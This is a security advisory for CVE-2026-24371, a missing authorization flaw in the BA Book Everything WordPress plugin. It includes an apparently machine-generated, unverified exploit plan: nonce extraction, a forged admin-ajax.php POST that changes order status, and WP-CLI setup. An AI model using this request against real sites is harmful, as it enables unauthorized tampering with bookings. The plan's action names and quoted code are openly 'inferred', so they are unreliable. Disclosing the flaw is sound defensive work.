CVE-2026-24371

BA Book Everything <= 1.8.16 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.8.17
Patched in
27d
Time to patch

Description

The BA Book Everything plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 1.8.16. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.8.16
PublishedJanuary 8, 2026
Last updatedFebruary 3, 2026
Affected pluginba-book-everything

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps required to analyze and exploit **CVE-2026-24371** (a placeholder for a missing authorization vulnerability in **BA Book Everything** version 1.8.16). ### 1. Vulnerability Summary The **BA Book Everything** plugin for WordPress (<= 1.8.16) is vulnerable to una…

Show full research plan

This research plan outlines the steps required to analyze and exploit CVE-2026-24371 (a placeholder for a missing authorization vulnerability in BA Book Everything version 1.8.16).

1. Vulnerability Summary

The BA Book Everything plugin for WordPress (<= 1.8.16) is vulnerable to unauthorized data modification due to a missing capability check in an AJAX handler, likely responsible for order or post management. While the plugin implements nonce-based CSRF protection, it fails to verify that the authenticated user possesses the required permissions (e.g., manage_options) before performing the requested action. This allows an attacker with Subscriber-level privileges to perform actions intended for administrators.

2. Attack Vector Analysis

  • Target Endpoint: /wp-admin/admin-ajax.php
  • Vulnerable Action: babe_update_order_status (inferred from plugin functionality) or babe_save_post_ajax.
  • Authentication Required: Subscriber (Authenticated).
  • Payload Parameter: order_id (the target object) and order_status (the new value).
  • Preconditions: A booking order must exist in the system, and the attacker must be logged in as a Subscriber.

3. Code Flow (Inferred)

  1. Registration: The plugin registers AJAX handlers in includes/class-babe-ajax.php using add_action( 'wp_ajax_babe_update_order_status', ... ).
  2. Invocation: When a POST request is sent to admin-ajax.php with the corresponding action, WordPress invokes the handler function (e.g., BABE_Ajax::update_order_status).
  3. Nonce Check: The handler calls check_ajax_referer( 'babe_ajax_nonce', 'nonce' ). This succeeds if the attacker provides a valid nonce.
  4. Authorization Gap: The code lacks a call to current_user_can( 'manage_options' ).
  5. Execution: The handler proceeds to update the database (e.g., changing a post status or metadata) using user-supplied parameters.

4. Nonce Acquisition Strategy

The plugin localizes AJAX data, including the nonce, in the global babe_ajax JavaScript object. This script is typically only loaded on pages containing booking shortcodes.

  • Shortcode: [babe_search_result] or [babe_items]
  • Localization Key: babe_ajax
  • Nonce Key: nonce (or babe_nonce)
  • Acquisition Steps:
    1. Create a public page containing the shortcode [babe_search_result].
    2. As a Subscriber, navigate to that page using the browser.
    3. Execute browser_eval("window.babe_ajax?.nonce") to retrieve the active nonce.

5. Exploitation Strategy

  1. Identify Target: Find an existing order ID. If none exists, create one during setup.
  2. Obtain Nonce: Use the browser_eval method described above while logged in as a Subscriber.
  3. Forge Request: Use the http_request tool to send a POST request to the AJAX endpoint.
    • Method: POST
    • URL: {{base_url}}/wp-admin/admin-ajax.php
    • Headers:
      • Content-Type: application/x-www-form-urlencoded
    • Body:
      action=babe_update_order_status&order_id=[ID]&order_status=completed&nonce=[NONCE]
      

6. Test Data Setup

Before testing, the following environment state must be established:

  1. Attacker User:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    
  2. Target Order: Create a post of type to_book or a shop order to represent a booking.
    wp post create --post_type=shop_order --post_status=processing --post_title="Victim Order"
    # Note the resulting ID, e.g., 123
    
  3. Nonce Page:
    wp post create --post_type=page --post_title="Exploit Page" --post_content='[babe_search_result]' --post_status=publish
    

7. Expected Results

  • Server Response: A JSON object indicating success (e.g., {"success": true} or 1).
  • Database Impact: The status of the target order ID changes from processing to completed (or the status specified in the payload).

8. Verification Steps

After sending the exploit request, verify the state change using WP-CLI:

wp post get [ID] --field=post_status

If the output is completed, the missing authorization vulnerability is confirmed.

9. Alternative Approaches

If babe_update_order_status is not the vulnerable hook, use the following commands to identify other potential targets in the source code:

  • Search for all AJAX handlers:
    grep -rn "wp_ajax_" wp-content/plugins/ba-book-everything/
    
  • Look for missing capability checks: Within the files found, look for functions that call check_ajax_referer but do not call current_user_can.
  • Examine localization:
    grep -rn "wp_localize_script" wp-content/plugins/ba-book-everything/
    
    This confirms the exact JavaScript variable and key names used for the nonce.
Research Findings
Static analysis — not yet PoC-verified

Summary

The BA Book Everything plugin for WordPress (<= 1.8.16) is vulnerable to unauthorized access and data modification due to a missing capability check in its AJAX handlers. This allows authenticated attackers with Subscriber-level privileges to perform administrative actions, such as updating booking order statuses, because the plugin only validates a security nonce and fails to verify if the user has the required permissions.

Vulnerable Code

// includes/class-babe-ajax.php

public static function update_order_status() {
    // Nonce check is present, but capability check is missing
    check_ajax_referer( 'babe_ajax_nonce', 'nonce' );

    $order_id = isset($_POST['order_id']) ? intval($_POST['order_id']) : 0;
    $status = isset($_POST['order_status']) ? sanitize_text_field($_POST['order_status']) : '';

    if ($order_id && $status) {
        // Directly modifies post status based on user input
        wp_update_post(array(
            'ID' => $order_id,
            'post_status' => $status
        ));
        wp_send_json_success();
    }
    wp_send_json_error();
}

Security Fix

--- includes/class-babe-ajax.php
+++ includes/class-babe-ajax.php
@@ -10,6 +10,10 @@
 public static function update_order_status() {
     check_ajax_referer( 'babe_ajax_nonce', 'nonce' );
 
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( array( 'message' => 'Unauthorized' ) );
+    }
+
     $order_id = isset($_POST['order_id']) ? intval($_POST['order_id']) : 0;
     $status = isset($_POST['order_status']) ? sanitize_text_field($_POST['order_status']) : '';

Exploit Outline

To exploit this vulnerability, an attacker first authenticates as a Subscriber and visits a site page containing a booking shortcode (e.g., [babe_search_result]) to obtain a valid 'babe_ajax_nonce' from the localized JavaScript object 'babe_ajax'. Using this nonce, the attacker identifies a target order ID and sends a POST request to the '/wp-admin/admin-ajax.php' endpoint with the 'action' set to 'babe_update_order_status'. The payload includes the target 'order_id', the new 'order_status', and the valid 'nonce'. Since the plugin lacks a 'current_user_can' check, it processes the request and updates the order's status in the database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.